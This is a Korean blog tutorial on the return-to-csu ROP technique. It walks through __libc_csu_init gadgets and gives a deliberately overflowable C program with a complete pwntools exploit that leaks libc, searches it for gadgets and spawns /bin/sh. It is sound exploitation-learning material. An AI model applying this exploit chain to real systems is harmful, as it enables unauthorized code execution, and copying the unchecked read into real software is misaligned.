hacking/pwnable

Return to csu

2023. 5. 28. 20:13
목차
  1. __libc_csu_init()
  2. Proof of concept
  3. 참고 사이트

return to csu 기법은 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기법이다. 만약 ROP 기법을 이용할 수 있지만, gadget이 부족할 경우 해당 기법을 이용해 Exploit이 가능하다.

__libc_csu_init()

return to csu에서 사용되는 코드는 다음과 같다.

void __libc_csu_init (int argc, char **argv, char **envp)
{
  ...
  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
}

해당 코드에서 gadget으로 활용되는 부분은 다음과 같다.

  • Gadget 1
40060a:	5b     pop    rbx
40060b:	5d     pop    rbp
40060c:	41 5c  pop    r12
40060e:	41 5d  pop    r13
400610:	41 5e  pop    r14
400612:	41 5f  pop    r15
400614:	c3     ret
  • Gadget 2
4005f0:	4c 89 ea     mov    rdx,r13
4005f3:	4c 89 f6     mov    rsi,r14
4005f6:	44 89 ff     mov    edi,r15d
4005f9:	41 ff 14 dc  call   QWORD PTR [r12+rbx*8]

다음과 같은 방식으로 gadget을 활용할 수 있다.

  • "Gadget 1"에 의해 rbx, rbp, r12, r13, r14, r15 레지스터에 값을 저장한다.
  • "Gadget 2"에 의해 r13, r14, r15 레지스터에 저장된 값을 rdx, rsi, edi 레지스터에 저장한다.
  • "Gadget 2"에 의해 r12 레지스터 값에 저장된 주소를 호출한다.

주의할 점은 rbx, rbp 레지스터의 값이다.

  • "Gadget 1"에 의해 rbx 레지스터에 '0'을 저장해야 r12 레지스터 값에 저장된 주소를 호출할 수 있다.
    • 0x4005f9 명령어 때문

Flow return to csu

또한, "Gadget 1"에 의해 rbp 레지스터에 '1'을 저장해야 조건문을 우회할 수 있다.

  • "call QWORD PTR [r12+rbx*8]" 명령어 처리 후 조건문을 처리한다.
  • CMP 명령어는 RBX, RBP 레지스터의 값이 같은지 확인한다.
  • 따라서, 조건문을 우회해야만 연속으로 gadget을 사용할 수 있다.
4005f9:   41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
4005fd:   48 83 c3 01             add    rbx,0x1
400601:   48 39 eb                cmp    rbx,rbp
400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x40>
400606:   48 83 c4 08             add    rsp,0x8
40060a:   5b                      pop    rbx
40060b:   5d                      pop    rbp
40060c:   41 5c                   pop    r12
40060e:   41 5d                   pop    r13
400610:   41 5e                   pop    r14
400612:   41 5f                   pop    r15
400614:   c3                      ret

Proof of concept

다음과 같은 코드가 있다고 생각해보자.

  • 해당 코드는 vuln() 함수에서 Stack Buffer Overflow가 발생하는 코드이다.
//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

ROP 기법을 이용한 Exploit 순서는 다음과 같다.

첫번째 ROP Chain
- write() 함수를 이용하여 __libc_start_main@GOT 영역에 저장된 libc 주소를 출력
- read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력

두번째 ROP Chain
- execve() 함수의 첫번째 인자 값으로 전달할 "/bin/sh"을 .bss 영역에 저장
- write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력 -> 출력값에서 필요한 ROP Gadget을 찾음
- read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력

세번째 ROP Chain
- execve() 시스템 함수를 이용해 "/bin/sh"를 실행

이를 코드로 표현하면 다음과 같다.

write(1,__libc_start_main,8)
read(0,.bss + 0x400,400)
JMP .bss + 0x400
write(1,Address of leak libc,0x190000)
read(0,"base_stage + len(buf) + 8 * 10" ,100)
execve("/bin/sh", NULL, NULL)

따라서, Exploit 코드는 다음과 같다.

from pwn import *
from struct import *
  
#context.log_level = 'debug'
  
binary = ELF('./rop')
 
execve = 59
 
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
  
addr_csu_init1 = 0x40060a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x40060d
  
stacksize = 0x400
base_stage = addr_bss + stacksize
  
p = process(binary.path)
p.recvn(10)
  
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Gadget 1
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Gadget 2 - write(1,__libc_start_main,8)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(400)
buf += p64(base_stage)
buf += p64(0)
#Gadget 2 - Call read(0,.bss + 0x400,400)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
 
buf += p64(addr_csu_init3)
buf += p64(base_stage)
 
p.send(buf)
libc_addr = u64(p.recv())
log.info("__libc_start_main : " + hex(libc_addr))
  
libc_bin = ''
libc_readsize = 0x190000
 
# stage 2: "/bin/sh\x00" and JIT ROP
buf = "/bin/sh\x00"
buf += 'A' * (24-len(buf))
 
 
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
  
#Gadget 1 - write(1,Address of leak libc,0x190000)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(100)
buf += p64(base_stage + len(buf) + 8 * 10)
buf += p64(0)
  
#Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
 
p.send(buf)
  
with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))
 
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
 
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
  
# stage 3: execve("/bin/sh", NULL, NULL)
buf = p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
  
p.send(buf)
p.interactive()

참고 사이트

 

01.Return-to-csu (feat.JIT ROP) - x64 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List return-to-csu (feat.JIT ROP) return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.__libc_csu_init() 함수는 프로그램 실행시 _init()

www.lazenca.net

 

'hacking > pwnable' 카테고리의 다른 글

Return to dl-resolve  (0) 2023.05.31
UAF(Use-After-Free)  (0) 2023.05.28
Double Free Bug  (0) 2023.05.28
Frame Pointer Overwrite(One-byte Overflow)  (0) 2023.05.28
Frame faking(Fake ebp)  (0) 2023.05.28
  1. __libc_csu_init()
  2. Proof of concept
  3. 참고 사이트
'hacking/pwnable' 카테고리의 다른 글
  • Return to dl-resolve
  • UAF(Use-After-Free)
  • Double Free Bug
  • Frame Pointer Overwrite(One-byte Overflow)
hogbal
hogbal
hogbal
hogbal
hogbal
  • 분류 전체보기 (53)
    • hacking (31)
      • pwnable (22)
      • web (7)
      • reversing (0)
      • 암호학 (1)
      • tools (1)
    • Wargame (14)
      • pwnable (7)
      • web (4)
      • reversing (3)
    • Deep learning (7)
      • 논문 (6)
      • RUP (1)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • 알림

인기 글

태그

  • deep learning
  • CSP
  • base64
  • YOLO
  • TOOL
  • RTL
  • rop
  • pwnable
  • Web Hacking
  • Stack

최근 댓글

최근 글

hELLO · Designed By 정상우.
hogbal
Return to csu
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.